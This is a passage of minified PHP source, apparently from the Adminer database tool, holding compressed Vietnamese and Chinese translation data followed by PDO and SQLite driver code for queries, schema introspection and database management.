?�)�Gj��x�����F�x��|D�\0p�&�\$��T��*�!}f��@�O�p����F�*�5�N]�.�@�#/��fb���\"�Y\"FBp\\�#b��\$���\n��@��\ny�j= ZU�U��Kphk��ZE ��O�?p(*Pd-�v>CVM-D> x�D��/6iM�͉�.dp�:�j��c�H��44m�ΩhE�r���t#L�\$\r\r��Z�m��cB�\$|����(1����\"�j��hjƏ�-m��F�9�H&,j�QD�\$Lֈ.v����zqZ�NF��d6�h%J\\����Dj��h+�Y\$'�\$y�})l#�BNO��#CLJ ���0�+Q�jl�Cn�1�{#���F���H��qw���X����M�(p��B�F�\0P�l�\$��1��(����M%q;-�E\r��%��@��y��NW�F�IO�c\"��*̰�5��#�b��&�RM\"-/QBԎ�n����v�&�W����(elW�S�d҅BG�*��m\n�1�N�B�/�Hr_��O�*1f�R������N�ȌG�,.�,r��2̱����DɈ��WMh�2�+��%�� �2�/��&d���!%�'R(=3\"�) �*Ų��C2�3�4S�N�%3J�DTʤ3d|ڪʈL�®.�V*����%�P�'L��,?\$6ki73m ��v�_+.X�Rk�2XB �����j2\n�N����n��.�R K�3�RP�@iLZ�0�EG��^��z�l�)�]6r\0�\0�����G&0.�t7s1\"M�1�㏹#RP��)6R���A�?\rN��Z��4�4F��A2�1�N+�E'�(S7.�|MP�Erԓ^�ӦIt\\v%\0�atUz`\$)�胢�O\r�\0%ZR��Ԣ~��!�.��+n�h4'2'D�gK��'Ҏ��i(a?L���t�*R�ԭ�&S���thXu��h��L��hN�\$�Zt���G�Cs�M� Pq� ꒓��9�X.*������Ϥ��t��1WN��.�|�AI�E5�/N�T�T���Ta&WT�0�<U=UJȰ4uP����U5kT)/Rs�Ds3Lsn�B҃6W�jz��X�j�nΦQ5GD��\\b�EST�E]�F_�c[NZ�4U��sw]��2m{DpRԒ�+\nV�\\�54�M�5�Ds�3aee�^�CJ�*Js�D�-�\"��JT��B���4jW��1�����F�P*8�R�im 4����-�����,�_gp���~�V06D�c~n�=�jYp�>�?�xg��� kɪ���#���# ��c�l��l�]NQiWo���g�)IiS�g6�AV�E<�@h�\r�V�\raXk30ST�;U,=V�W��'M\rN���F9l�.J(���\n���p�f>B\0�����5\\7�<�̧\$X��`��-v�2α�wewO���^}vׂ���Bd���Z��w��G �u`�\$&E�7BS��D�=�9)�a�n5e���~�I���mracr��0i�2q���fp��)&�<Hj�� ��\$#��c��9�<��֩0>�R�Ţ��z�G75r1\$6i=\"�G�q���S-]SP�4�G?d3W7�)���?Zx5�M*IIBV��Aq��\$�>��dfQo��C4:��#APg�\0�Sr���z��a�\nL���cԼk��h�K�+�Gt�-�5��q&�*.���@\n��`���̘��}���L��0}���գ��5L����\\����7���N���C�G1\n>�\r##��1�d�P�B��S���Rg&�*��5ӈ*�_�4f@";break;case"vi":$f="Bp��&������ *�(J.��0Q,��Z���)v��@Tf�\n�pj�p�*�V���C`�]��rY<�#\$b\$L2��@%9���I�����Γ���4˅����d3\rF�q��t9N1�Q�E3ڡ�h�j[�J;���o��\n�(�Ub��da���I¾Ri��D�\0\0�A)�X�8@q:�g!�C�_#y�̸�6:����ڋ�.���K;�.���i�n�������E�{\rB\n'��_��2�ka��!W�&Asv6�'H���ƻ�����vO�IvL�Ø�:�J8楩�B�a�k�j�!��pK�(�0��N)b()�7&h��b,+]�/�P!\0���P�k�<�H\n3��|�/�\"1�'\0�\0P����R�!�1�d��2V�#I�pN���& � Z�)� R܈f1B��C��\r�9ܘ���A���Z8B<N�(4=9%3�.�sd|4ʠPx����3��:����x�W���6�(�\r����ux<���4��xD�5��:T���6J�XD #h�6�mz:�x�BR-�4\r�\"87���2���&\r6\n\\,[/S*˳2��h K�Ft��� @���I�V\r�C��-�c�!�0�<�!@������I��>��I�`�0Ԓ��Eql��6?���6�+�l��\n�)�ݕ0�*�#�*an����R�R���vT�DܰE�^���N�(]>lNM������4� �I/+|����t&\n#��T����P �t��on��\r�l�w �P�\r��41�\\J���\"r�?;(h� �[,*��]X������I�E�\\T]���R�ҏ�N�����]�?ה7Cb�s���5�7=�i˱Y��#{5d݃x�3P#pʥ�>� q�Z�c\nH:(�\"��K�pI�7 �` \"�����J�3@�s&q�\$�!���N�-\r� ��CL �h�)BR�� bD���t*é.P����B���(�ҙ� �:�<���.�O����9�\"ʌ�Dž�b'\$�|ӻY�d�6�Z�\nTJ�S*�T�r�VJ�+ur���X!�a�U�HgYk5g��a�I\$�\$�պ��ASkݫ \"��A.=͠��2F����>��i� @rq\"��~�a��\$���t-��P @�54G���'d�.��R��\\��?� ��\\+�VH�uLH.\0���욅أ?����ԕQ���t�R~�\nŕD\\T�C�~�y�pԀÀRK�I/�����y�]a�s���He5��c�u�\n�V�Ț+�\nz뗴@8K�\"�P&d��B�KxP �L*@#���g VI����ə����-���Q�K���DFrT�P�B�?��0:Iy>qI�*%��7`�%�(д]M*Ժ�{9)��((r�d\\ʇǑ��R��R*1d�jM*� �'y3V6�~��a:�%�S�Y��DB�&1v#Xk1'`�(�@ja�EY���Gj�l����P�)ܱ��&L�������]�����\0��4Was.\nSJ��9��H/�eOK! �Z�hJ���H2�p��tX�6\"�z��В)n]K�ʰ�Llb�z��L���S���eYqiQ�l�y1�\$ԛ���j0dd���|s`m(o��L2P�I4�*�N(�W1���Ű�fE�eYq�1�+N35�]��q�՛*�*�&r�N~03��JÖ�+�\$���'K.�W/��E��.J͝%�����S�\"����L�iKڥor�=�:�joA*@��DŒ�>�7BH�u�\\��&��(D��!v�N>����D��I�uLwT���#P\$��<(�K�-8DQ�5rH�@ �\n�\"H*殁K���FA��(�\$��2H��&d��Y��ٺ\r*���E}_B����֮Ц�\"{���+�q���\r�����M=�BFL92���+LDy2�ݯQR�8eا�M2��.���PӄHn�t�9\"�X�\nPʻTx��4\$K(aАH��Xp��a�\r�-��7/%��\\�r���n��(�JJ3�2��\\Y��%&�af�M�B.��\"Kᨊ֗�Fb�X���(�%G�ig�I����(Q݁�7�r���;\n��a\r�Vș�d�܂���J.-��9�P����r�3�pc����|���4�M�]I�.=7{؋�zgc�`ߩ#��ԑ?pK�>D��kp3�s�e�>�+{�zdu���dk�\\>��y�Ҧ�Rx1#��A�%�[��_��~���.�MO��\$I�j�\n]�)缋�o`��ʹ>�Ip�o�) k/�D�{e�C�&I|��\\8����<�����D�peL��vt6:��c�,�Ȳ���0NaF�k���D0` ���lB��an�.^z��_ojs�@���g\$���O� l�(p� ��ϧbe���,t��AN7 ���`d�n>\"�FHh��-\n����y\"I�k ��G�~��1P>�/Z��N\$��z�p��4�d��0f�\"�\0�5d���)N��u � ���/`�b�dz�����)�b�Jn��i��\n��𨆇�P\n��y���dIQN�q��Q�+��� C�=\"�IG6MbHG�:ΐ�a�Y\$�¥4>ϢՑP����1��OK ����M�8H��oh��O�i+L_�P5~5��bw �Va�F�C��&ڎ�C#��h�9�® �Q���!w\"Ą �X*9\$k�]C�Z\0�]�L�P�iV>\r�C��>aJ ��-\0�~jh���~��e�A(��\$��\nn/N�4�BN�\n���Z`��P���Q���.��S@|��e\n'z���B�QQo�/�t�L�(�U�7(�f6�\\�g�����6d�Q��Nu-1�p���2`��y����BU���n��r�G�#G\r0�'��&��h箊H��n�GH7B�r|(�|��L�XiƠl�ꥂ�ө'sVC��~�cx�� j�&�1��:��L*��<�#х8�����|I��f�&�-Sn7��⬨L�DDl�k<�\n ����=�Bw�\$�� ���s�{��@+_@�p'�14��qa�,���\$���:S5dg���CF* ";break;case"zh":$f="�^��s�\\�r���|%��:�\$\nr.���2�r/d�Ȼ[8� S�8�r�!T�\\�s���I4�b�r��ЀJs!Kd�u�e�V���D�X,#!��j6� �:�t\nr���U:.Z�Pˑ.�\rVWd^%�䌵�r�T�Լ�*�s#U�`Qd�u'c(��oF����e3�Nb�`�p2N�S��ӣ:LY�ta~��&6ۊ��r�s��k��{���f�q�w��-��\n�2���#*�B!@�L�N�z�Ш@F��:QQ�W���s�~�r.�ndJ��X��ˊ�;.�M(�bx���d�*�b�K��aL��K#�s��X�g)<��<&��q>s��K���tF>���D�!zH�\$��C�*r�e��^�N�.�=�9f]�(r\\��E �Lɰ�:���A^C����J\n]k!3���vs� �5��px0�#��3��:����x�C���6��(�\r����u(<5cp�4��D�4��:O��f0��XD #h�ύ����|�4u�Z7��#L9����&\r-[jt�I�E�1+�%��|s��ӂI�����1(\\�9\r\"��p.�Q`r�e՝3!��&tIdnK��EeA�C�OU�QPr�D��G�B\$�0��`���:��U�eY��{gcD��H i N夒��g1���i�^��i�Xc���/Aȑ�x��5�jO!�8)P�G�6\"6T\r�*9�u@a �)\"�o�I����r6���o��Q�4me��TJ����n��l�l��SLg1:A�R�x��G)��au&L�~���.ud�eH�LkT,��3�eڜ���J=\"���\r�@����1�m�3b!\0�7��`�4��n0���y�-{F\rëVaOX�Ĥ@@!�b��\$�!�D����F��YH� ��r����v�E�`���n4Ya��b4>/���4���M!�Շ#3ØwR*�2���S�d��;����S��PjC�u��j�R*MJ�u2���/S��Q*@D��b�UJ�W+d���\n�4+�}�k2�̨�j�����@!�/�(�\"�t\n!VBEy�.İs��\0-��N,�(+ӂr'@�(��#��Hb>4��\"\n9()� Q�jf1��[XK��20\$ԛ����0��9��c�-�@�`��\\��D�ˣ��^�v&�r�5��'��� � ��7��@a�X�ƵJ�\0����5ƌ8<��mI��=�\0�¤�L�(�8�PD�~C��@YS*�P��ɚ5�)a�2\rfw��� A�3��0��3��#H���iU�E��I�1A�FQG��H%�{5+\n�r�xNT(@�-(�A\"���L@��Z���#�ΧäJ���)��ɌT�띒�#��0D`\\�*.ꠋ��S���ؤh�oͼI�\$���i��1�;Z�K�oS�ˣQ�*Z�r��G��YQ� �)U^Z�t�\$<Ѿz�'b�\"�F>C���P�(\\&��ෲA��w�Ki �Ǎt�0���C����1��g���v��!�'D�����%CK��^�����\\��&��ʛ�B�[�Q]rZ.��dktPv�KE�!B���(�W���E+�����=�}�Դ �tA���b�s�^�#��-�S�!]��=?'`�9U�}�T�*��Q���:D�e�|�4�\\�X'�)仮=��x �<��d=O �@W�X�B�]#��\$�j\n���{>X�*�O1�!�|+��L���(_Iw�9�,E�� w��,��B(\nQ=)�W;�q��#R\n�Ł�6\n���\n\n�1hd�}s�����HT�\"��H�(�[Q'0�eb�B�e��q���G.1�G0��'����`W�՜�U��9�fC�M�Gۯ� w��D��\\�vV���3a]�ϵ6�\r�ɗY&�Ă]��I��4.�6��@ú��b�_H�w�]�w�>ݛ�mk�u��%�r��C�����]\niZ7 �iU�ᰟ\\�K�_l�~8��v�nUҲl*�Ŝ�v��m�\\NU�y.�LX8Ճ��o�\\tsXՑ��O�7'�;�O\r�;T_ݡsү+@����(���~�#!��:�pBz�:o�}���*:�#�� K���cr@��UpNtHȔ৺OV>�Єk�����9ha2�{�Aeȗ\n�H��i�/7��\\�K�.�D�|�'<8L�tΝ� GRr^���~E���\r����.��JB����\"X�͠�� �X����z��T>��~��}�r�Lg\"q�|÷\r�=�������^��BlOv��zK9^��v��������\0%����/�\0e��|��o��NOm\0�r����\"�0�+澯�[�@�d�pJ��O�+����-ӄ^F/v��KAop3P&�0v.�`й�p��z���p��A>��n;j��j��J<)�p-\n\"l\"��c�\n䒂H(Q�26 ��H\nh�2��5P�\n.���Ɂ]az�̠1����\r�V��\r`@S�b�.5�hW���nX�j��p�b`Ċh\n���Z\0@R��Ú6���J��0O�#B8��Y���%� ��a�!(m�-V8�l/��Q�9��píf�j�!j�䒓��\r�9��*\0\r�\"2�R6\"Z!\0.E�[\$|�md,���Hz���XI������@�M����\n�d3�F2P�)�\r��E�D���F�<\\��I��N���-܍�o�����+\$.���^C-,��� ���\r�0���,�岼!�q���&\$��!��j�F���:�����&� ��.zhN������`@� \0t ��@�\n`";break;case"zh-tw":$f="�^��%ӕ\\�r����|%��u:H�B(\\�4��p�r��neRQ̡D8� S�\n�t*.t�I&�G�N��AʤS�V�: t%9��Sy:\"<�r�ST�,#!��j6�1uL\0�����U:.��I9���B��K&]\nD�X�[��}-,�r��������&��a;D�x��r4��&�)��s3�S���t�\r�A��b���E�E1��ԣ�g:�x�]#0, (��4���\r���G�q��Z���S� )ЪOLP\0��Δ�:}����r���yZ��se�\\B��ABs�� @�2*bPr��\n���*�.�Oc�D\nt�\$��O-�1*\\CJY.R�D��L�GI,I��I�@H��ő�[��)r_ ��K�o��')tU��w/ax].J�2���ft(q�W��к��̤U���v��Y`\\��\ns�S�,��2���D4���9�Ax^;�p�2\r���9�x�3��(�N�\r��9�#}>5#\r62��0��#p��H�84�m<:�x�A�Et�\r�#RՎlЦ(��K`�\$ q�d�D�y�RPa s-�a~Wġr�GALKI��sZ����\$��POd�\\������S%�,N�&%��S�o1U�Y+h��P\"P��6�\0�0����lZV�ZC��Qqld1�H\nY N(Kq�]�g1G��9{}��q%)��2��PQ��7����\n�-B\$�o)�n\$��P����Kp�cb�Y�)\"^��)�D�q��r����r�7��)�w��y/�����v��I�5ÿM�1<[p�YX���iW��/6r���[Ĝ�_�/�7O7�SoPTq�u�i�d8�L�(UL��3�e,�O��C�\r���X�!\0�Q���ӎc66\r�x��acR9y��0�!��Ԩ�:����DBib��#X�]<�>DY�!�i�O����9D��B\" ��>�]\0�2!M�*P���Z\"9���_�0�@B�S\"Cs6��B�����j��4�0���PJC(��r��IJ)e0���T\n�R*`^�\r��U��W��b�ժ�W*�^���hX�0��pR�,7+�u�M��_�1@\"@�c�J���dH�@���c��f��\$�Q^9�x�~a@\$��*AH0B�R`���J�\"j9�0��Q��-��ĸ�'憇0�����IN'?(%��5�9DP�B�\$�`@]�d\r+�1Ւ�1�6��A�E\n�\0fA�6�\0�cl,6Jx7��MI�5��StxS\n���\nF P�Me\nU:q�\"b\"��&/�2b+H1���əV��c�Rn� ��� ��љ�D�B0T\n�l>en���Μ3�r���fT�-�Xr�:Dh�)b�P�\$~�p \n�@\"�@UH\"���S�[/G�G�6UV�92[\ri�2Ap��)�;x�üx �g�\\��E�8�<�^RJa�����\n���&E!�vkR��7\"�jd��H&�P\"�!�I��t\n�ʈ���B��U�imA���9�H�.B�� ���\0��rRKH93!d�N5�FB�.��H[\0�1��5D�ε(.ЦC�#s�8>�G\r c6���s� _�t�4Z��� �z�\r,��U�h�(w)b�t����H���r�Ĕ9|�X�|9�А\"����.kTǧt����)���~�:[!�1\$��<�1\0(�������y�Z-a�颎Atv�ض����3ڈB\"U8*�F��(36汬���'�(�\"���>:\\��<���@�y-����Ø�xK�Ϡ���/E���D6��ؤ��s9��2�W�.�r��B#z�@(0f!D�t��K5J���Ý�'8��g��i:��ds�a'c����ؖ��#*��\r\n96\0�K¡ ���s��٬�]f��.�´Q���\n�[�[5> L.�B�p��A0&\r�QP:D�;|��3�,5{�#�M�C�Z:����z���Y,֚ۀ،\0_ew�8!w��z�:���X+�G-�@\$(z-����A�槯�^m��2%���lʤ�H�s�5'��[B�P�� #k\nY�pg�ؙ]a\n�m�j����3�M�/��.�`z��<G�����,� v��Ί�{�v��G��Ꭼ���=�C�4�Нs�O)�@����|9滽���f��9� ��H�aAP�}Tu^� �y�Q`�9Dտt������\r��e�J\0@]2<%9R �]��B��P����O_��1N@�t4{��B�]��yQI�o���&����8�����v�K��̀�8o�\0f��nα�\n�/L���P��[,��p�:!���\"�'�|��B���ǐ\\¢R�B��[��P��(6�L��nEpz^�|*P^%�6D�D�Μ�K̳#�)�Nj5as �/��\n�{O�<��p��q ]0�0���alB,nK�\r�R�N��\rͅ���Đ\"qp�\r�FdjF�s\0000��>>�����DP�C�\\ R\r�\"�.h���dr�FJ�͍6\0��g�� P4�R���A��m�HZ�F�.z%�b�(0@B.�fۀ�TR�@�C^�R\nh�31�6����n�?a1\"�c\"`�@�iܵ@�L��>d#byE�\r �y��7@�����:C4|��\n���p<q�:Ct�>�����F#B8�gj�D��Q�1�[.���\r�9���ބv��Ðr�M�)i��F;��-F\r�&:#� �h}%43C\\6+F.g���m�����z*�)N2�N&��nr��jb�Z����\"\n�n4�P2���\r�*�(n�g^�p@�o�L��a�ffj%����*��&���-Ґڡ,\"��\0� ���\r�X\0g<�trL\$]�]�\\-�Ob�<Қ�C�1\n�k#4j�<ҫ*�h!%����#�lG\0� \0t ��@�\n`";break;}$Ih=array();foreach(explode("\n",lzw_decompress($f))as$X)$Ih[]=(strpos($X,"\t")?explode("\t",$X):$X);return$Ih;}if(!$Ih){$Ih=get_translations($ca);$_SESSION["translations"]=$Ih;}if(extension_loaded('pdo')){class Min_PDO extends PDO{var$_result,$server_info,$affected_rows,$errno,$error;function __construct(){global$b;$Ef=array_search("SQL",$b->operators);if($Ef!==false)unset($b->operators[$Ef]);}function dsn($dc,$V,$G){try{parent::__construct($dc,$V,$G);}catch(Exception$vc){auth_error(h($vc->getMessage()));}$this->setAttribute(13,array('Min_PDOStatement'));$this->server_info=@$this->getAttribute(4);}function query($H,$Sh=false){$I=parent::query($H);$this->error="";if(!$I){list(,$this->errno,$this->error)=$this->errorInfo();return false;}$this->store_result($I);return$I;}function multi_query($H){return$this->_result=$this->query($H);}function store_result($I=null){if(!$I){$I=$this->_result;if(!$I)return false;}if($I->columnCount()){$I->num_rows=$I->rowCount();return$I;}$this->affected_rows=$I->rowCount();return true;}function next_result(){if(!$this->_result)return false;$this->_result->_offset=0;return@$this->_result->nextRowset();}function result($H,$o=0){$I=$this->query($H);if(!$I)return false;$K=$I->fetch();return$K[$o];}}class Min_PDOStatement extends PDOStatement{var$_offset=0,$num_rows;function fetch_assoc(){return$this->fetch(2);}function fetch_row(){return$this->fetch(3);}function fetch_field(){$K=(object)$this->getColumnMeta($this->_offset++);$K->orgtable=$K->table;$K->orgname=$K->name;$K->charsetnr=(in_array("blob",(array)$K->flags)?63:0);return$K;}}}$Yb=array();class Min_SQL{var$_conn;function __construct($g){$this->_conn=$g;}function select($R,$M,$Z,$cd,$df=array(),$z=1,$E=0,$Mf=false){global$b,$x;$Ed=(count($cd)<count($M));$H=$b->selectQueryBuild($M,$Z,$cd,$df,$z,$E);if(!$H)$H="SELECT".limit(($_GET["page"]!="last"&&+$z&&$cd&&$Ed&&$x=="sql"?"SQL_CALC_FOUND_ROWS ":"").implode(", ",$M)."\nFROM ".table($R),($Z?"\nWHERE ".implode(" AND ",$Z):"").($cd&&$Ed?"\nGROUP BY ".implode(", ",$cd):"").($df?"\nORDER BY ".implode(", ",$df):""),($z!=""?+$z:null),($E?$z*$E:0),"\n");$Vg=microtime(true);$J=$this->_conn->query($H);if($Mf)echo$b->selectQuery($H,format_time($Vg));return$J;}function delete($R,$Vf,$z=0){$H="FROM ".table($R);return queries("DELETE".($z?limit1($H,$Vf):" $H$Vf"));}function update($R,$O,$Vf,$z=0,$Dg="\n"){$ji=array();foreach($O as$y=>$X)$ji[]="$y = $X";$H=table($R)." SET$Dg".implode(",$Dg",$ji);return queries("UPDATE".($z?limit1($H,$Vf):" $H$Vf"));}function insert($R,$O){return queries("INSERT INTO ".table($R).($O?" (".implode(", ",array_keys($O)).")\nVALUES (".implode(", ",$O).")":" DEFAULT VALUES"));}function insertUpdate($R,$L,$Kf){return false;}function begin(){return queries("BEGIN");}function commit(){return queries("COMMIT");}function rollback(){return queries("ROLLBACK");}}$Yb["sqlite"]="SQLite 3";$Yb["sqlite2"]="SQLite 2";if(isset($_GET["sqlite"])||isset($_GET["sqlite2"])){$Hf=array((isset($_GET["sqlite"])?"SQLite3":"SQLite"),"PDO_SQLite");define("DRIVER",(isset($_GET["sqlite"])?"sqlite":"sqlite2"));if(class_exists(isset($_GET["sqlite"])?"SQLite3":"SQLiteDatabase")){if(isset($_GET["sqlite"])){class Min_SQLite{var$extension="SQLite3",$server_info,$affected_rows,$errno,$error,$_link;function __construct($Kc){$this->_link=new SQLite3($Kc);$mi=$this->_link->version();$this->server_info=$mi["versionString"];}function query($H){$I=@$this->_link->query($H);$this->error="";if(!$I){$this->errno=$this->_link->lastErrorCode();$this->error=$this->_link->lastErrorMsg();return false;}elseif($I->numColumns())return new Min_Result($I);$this->affected_rows=$this->_link->changes();return true;}function quote($Q){return(is_utf8($Q)?"'".$this->_link->escapeString($Q)."'":"x'".reset(unpack('H*',$Q))."'");}function store_result(){return$this->_result;}function result($H,$o=0){$I=$this->query($H);if(!is_object($I))return false;$K=$I->_result->fetchArray();return$K[$o];}}class Min_Result{var$_result,$_offset=0,$num_rows;function __construct($I){$this->_result=$I;}function fetch_assoc(){return$this->_result->fetchArray(SQLITE3_ASSOC);}function fetch_row(){return$this->_result->fetchArray(SQLITE3_NUM);}function fetch_field(){$d=$this->_offset++;$U=$this->_result->columnType($d);return(object)array("name"=>$this->_result->columnName($d),"type"=>$U,"charsetnr"=>($U==SQLITE3_BLOB?63:0),);}function __desctruct(){return$this->_result->finalize();}}}else{class Min_SQLite{var$extension="SQLite",$server_info,$affected_rows,$error,$_link;function __construct($Kc){$this->server_info=sqlite_libversion();$this->_link=new SQLiteDatabase($Kc);}function query($H,$Sh=false){$ye=($Sh?"unbufferedQuery":"query");$I=@$this->_link->$ye($H,SQLITE_BOTH,$n);$this->error="";if(!$I){$this->error=$n;return false;}elseif($I===true){$this->affected_rows=$this->changes();return true;}return new Min_Result($I);}function quote($Q){return"'".sqlite_escape_string($Q)."'";}function store_result(){return$this->_result;}function result($H,$o=0){$I=$this->query($H);if(!is_object($I))return false;$K=$I->_result->fetch();return$K[$o];}}class Min_Result{var$_result,$_offset=0,$num_rows;function __construct($I){$this->_result=$I;if(method_exists($I,'numRows'))$this->num_rows=$I->numRows();}function fetch_assoc(){$K=$this->_result->fetch(SQLITE_ASSOC);if(!$K)return false;$J=array();foreach($K as$y=>$X)$J[($y[0]=='"'?idf_unescape($y):$y)]=$X;return$J;}function fetch_row(){return$this->_result->fetch(SQLITE_NUM);}function fetch_field(){$C=$this->_result->fieldName($this->_offset++);$Af='(\\[.*]|"(?:[^"]|"")*"|(.+))';if(preg_match("~^($Af\\.)?$Af\$~",$C,$B)){$R=($B[3]!=""?$B[3]:idf_unescape($B[2]));$C=($B[5]!=""?$B[5]:idf_unescape($B[4]));}return(object)array("name"=>$C,"orgname"=>$C,"orgtable"=>$R,);}}}}elseif(extension_loaded("pdo_sqlite")){class Min_SQLite extends Min_PDO{var$extension="PDO_SQLite";function __construct($Kc){$this->dsn(DRIVER.":$Kc","","");}}}if(class_exists("Min_SQLite")){class Min_DB extends Min_SQLite{function __construct(){parent::__construct(":memory:");}function select_db($Kc){if(is_readable($Kc)&&$this->query("ATTACH ".$this->quote(preg_match("~(^[/\\\\]|:)~",$Kc)?$Kc:dirname($_SERVER["SCRIPT_FILENAME"])."/$Kc")." AS a")){parent::__construct($Kc);return true;}return false;}function multi_query($H){return$this->_result=$this->query($H);}function next_result(){return false;}}}class Min_Driver extends Min_SQL{function insertUpdate($R,$L,$Kf){$ji=array();foreach($L as$O)$ji[]="(".implode(", ",$O).")";return queries("REPLACE INTO ".table($R)." (".implode(", ",array_keys(reset($L))).") VALUES\n".implode(",\n",$ji));}}function idf_escape($u){return'"'.str_replace('"','""',$u).'"';}function table($u){return idf_escape($u);}function connect(){return new Min_DB;}function get_databases(){return array();}function limit($H,$Z,$z,$D=0,$Dg=" "){return" $H$Z".($z!==null?$Dg."LIMIT $z".($D?" OFFSET $D":""):"");}function limit1($H,$Z){global$g;return($g->result("SELECT sqlite_compileoption_used('ENABLE_UPDATE_DELETE_LIMIT')")?limit($H,$Z,1):" $H$Z");}function db_collation($m,$ob){global$g;return$g->result("PRAGMA encoding");}function engines(){return array();}function logged_user(){return get_current_user();}function tables_list(){return get_key_vals("SELECT name, type FROM sqlite_master WHERE type IN ('table', 'view') ORDER BY (name = 'sqlite_sequence'), name",1);}function count_tables($l){return array();}function table_status($C=""){global$g;$J=array();foreach(get_rows("SELECT name AS Name, type AS Engine FROM sqlite_master WHERE type IN ('table', 'view') ".($C!=""?"AND name = ".q($C):"ORDER BY name"))as$K){$K["Oid"]=1;$K["Auto_increment"]="";$K["Rows"]=$g->result("SELECT COUNT(*) FROM ".idf_escape($K["Name"]));$J[$K["Name"]]=$K;}foreach(get_rows("SELECT * FROM sqlite_sequence",null,"")as$K)$J[$K["name"]]["Auto_increment"]=$K["seq"];return($C!=""?$J[$C]:$J);}function is_view($S){return$S["Engine"]=="view";}function fk_support($S){global$g;return!$g->result("SELECT sqlite_compileoption_used('OMIT_FOREIGN_KEY')");}function fields($R){global$g;$J=array();$Kf="";foreach(get_rows("PRAGMA table_info(".table($R).")")as$K){$C=$K["name"];$U=strtolower($K["type"]);$Mb=$K["dflt_value"];$J[$C]=array("field"=>$C,"type"=>(preg_match('~int~i',$U)?"integer":(preg_match('~char|clob|text~i',$U)?"text":(preg_match('~blob~i',$U)?"blob":(preg_match('~real|floa|doub~i',$U)?"real":"numeric")))),"full_type"=>$U,"default"=>(preg_match("~'(.*)'~",$Mb,$B)?str_replace("''","'",$B[1]):($Mb=="NULL"?null:$Mb)),"null"=>!$K["notnull"],"privileges"=>array("select"=>1,"insert"=>1,"update"=>1),"primary"=>$K["pk"],);if($K["pk"]){if($Kf!="")$J[$Kf]["auto_increment"]=false;elseif(preg_match('~^integer$~i',$U))$J[$C]["auto_increment"]=true;$Kf=$C;}}$Tg=$g->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R));preg_match_all('~(("[^"]*+")+|[a-z0-9_]+)\s+text\s+COLLATE\s+(\'[^\']+\'|\S+)~i',$Tg,$ke,PREG_SET_ORDER);foreach($ke as$B){$C=str_replace('""','"',preg_replace('~^"|"$~','',$B[1]));if($J[$C])$J[$C]["collation"]=trim($B[3],"'");}return$J;}function indexes($R,$h=null){global$g;if(!is_object($h))$h=$g;$J=array();$Tg=$h->result("SELECT sql FROM sqlite_master WHERE type = 'table' AND name = ".q($R));if(preg_match('~\bPRIMARY\s+KEY\s*\((([^)"]+|"[^"]*")++)~i',$Tg,$B)){$J[""]=array("type"=>"PRIMARY","columns"=>array(),"lengths"=>array(),"descs"=>array());preg_match_all('~((("[^"]*+")+)|(\S+))(\s+(ASC|DESC))?(,\s*|$)~i',$B[1],$ke,PREG_SET_ORDER);foreach($ke as$B){$J[""]["columns"][]=idf_unescape($B[2]).$B[4];$J[""]["descs"][]=(preg_match('~DESC~i',$B[5])?'1':null);}}if(!$J){foreach(fields($R)as$C=>$o){if($o["primary"])$J[""]=array("type"=>"PRIMARY","columns"=>array($C),"lengths"=>array(),"descs"=>array(null));}}$Ug=get_key_vals("SELECT name, sql FROM sqlite_master WHERE type = 'index' AND tbl_name = ".q($R),$h);foreach(get_rows("PRAGMA index_list(".table($R).")",$h)as$K){$C=$K["name"];$v=array("type"=>($K["unique"]?"UNIQUE":"INDEX"));$v["lengths"]=array();$v["descs"]=array();foreach(get_rows("PRAGMA index_info(".idf_escape($C).")",$h)as$ug){$v["columns"][]=$ug["name"];$v["descs"][]=null;}if(preg_match('~^CREATE( UNIQUE)? INDEX '.preg_quote(idf_escape($C).' ON '.idf_escape($R),'~').' \((.*)\)$~i',$Ug[$C],$gg)){preg_match_all('/("[^"]*+")+( DESC)?/',$gg[2],$ke);foreach($ke[2]as$y=>$X){if($X)$v["descs"][$y]='1';}}if(!$J[""]||$v["type"]!="UNIQUE"||$v["columns"]!=$J[""]["columns"]||$v["descs"]!=$J[""]["descs"]||!preg_match("~^sqlite_~",$C))$J[$C]=$v;}return$J;}function foreign_keys($R){$J=array();foreach(get_rows("PRAGMA foreign_key_list(".table($R).")")as$K){$q=&$J[$K["id"]];if(!$q)$q=$K;$q["source"][]=$K["from"];$q["target"][]=$K["to"];}return$J;}function view($C){global$g;return array("select"=>preg_replace('~^(?:[^`"[]+|`[^`]*`|"[^"]*")* AS\\s+~iU','',$g->result("SELECT sql FROM sqlite_master WHERE name = ".q($C))));}function collations(){return(isset($_GET["create"])?get_vals("PRAGMA collation_list",1):array());}function information_schema($m){return false;}function error(){global$g;return h($g->error);}function check_sqlite_name($C){global$g;$Dc="db|sdb|sqlite";if(!preg_match("~^[^\\0]*\\.($Dc)\$~",$C)){$g->error=lang(21,str_replace("|",", ",$Dc));return false;}return true;}function create_database($m,$nb){global$g;if(file_exists($m)){$g->error=lang(22);return false;}if(!check_sqlite_name($m))return false;try{$_=new Min_SQLite($m);}catch(Exception$vc){$g->error=$vc->getMessage();return false;}$_->query('PRAGMA encoding = "UTF-8"');$_->query('CREATE TABLE adminer (i)');$_->query('DROP TABLE adminer');return true;}function drop_databases($l){global$g;$g->__construct(":memory:");foreach($l as$m){if(!@unlink($m)){$g->error=lang(22);return false;}}return true;}function rename_database($C,$nb){global$g;if(!check_sqlite_name($C))return false;$g->__construct(":memory:");$g->error=lang(22);return@rename(DB,$C);}function auto_increment(){return" PRIMARY KEY".(DRIVER=="sqlite"?" AUTOINCREMENT":"");}function alter_table($R,$C,$p,$Rc,$sb,$oc,$nb,$La,$wf){$di=($R==""||$Rc);foreach($p as$o){if($o[0]!=""||!$o[1]||$o[2]){$di=true;break;}}$c=array();$mf=array();foreach($p as$o){if($o[1]){$c[]=($di?$o[1]:"ADD ".implode($o[1]));if($o[0]!="")$mf[$o[0]]=$o[1][0];}}if(!$di){foreach($c as$X){if(!queries("ALTER TABLE ".table($R)." $X"))return false;}if($R!=$C&&!queries("ALTER TABLE ".table($R)." RENAME TO ".table($C)))return false;}elseif(!recreate_table($R,$C,$c,$mf,$Rc))return false;if($La)queries("UPDATE sqlite_sequence SET seq = $La WHERE name = ".q($C));return true;}function recreate_table($R,$C,$p,$mf,$Rc,$w=array()){if($R!=""){if(!$p){foreach(fields($R)as$y=>$o){$p[]=process_field($o,$o);$mf[$y]=idf_escape($y);}}$Lf=false;foreach($p as$o){if($o[6])$Lf=true;}$bc=array();foreach($w 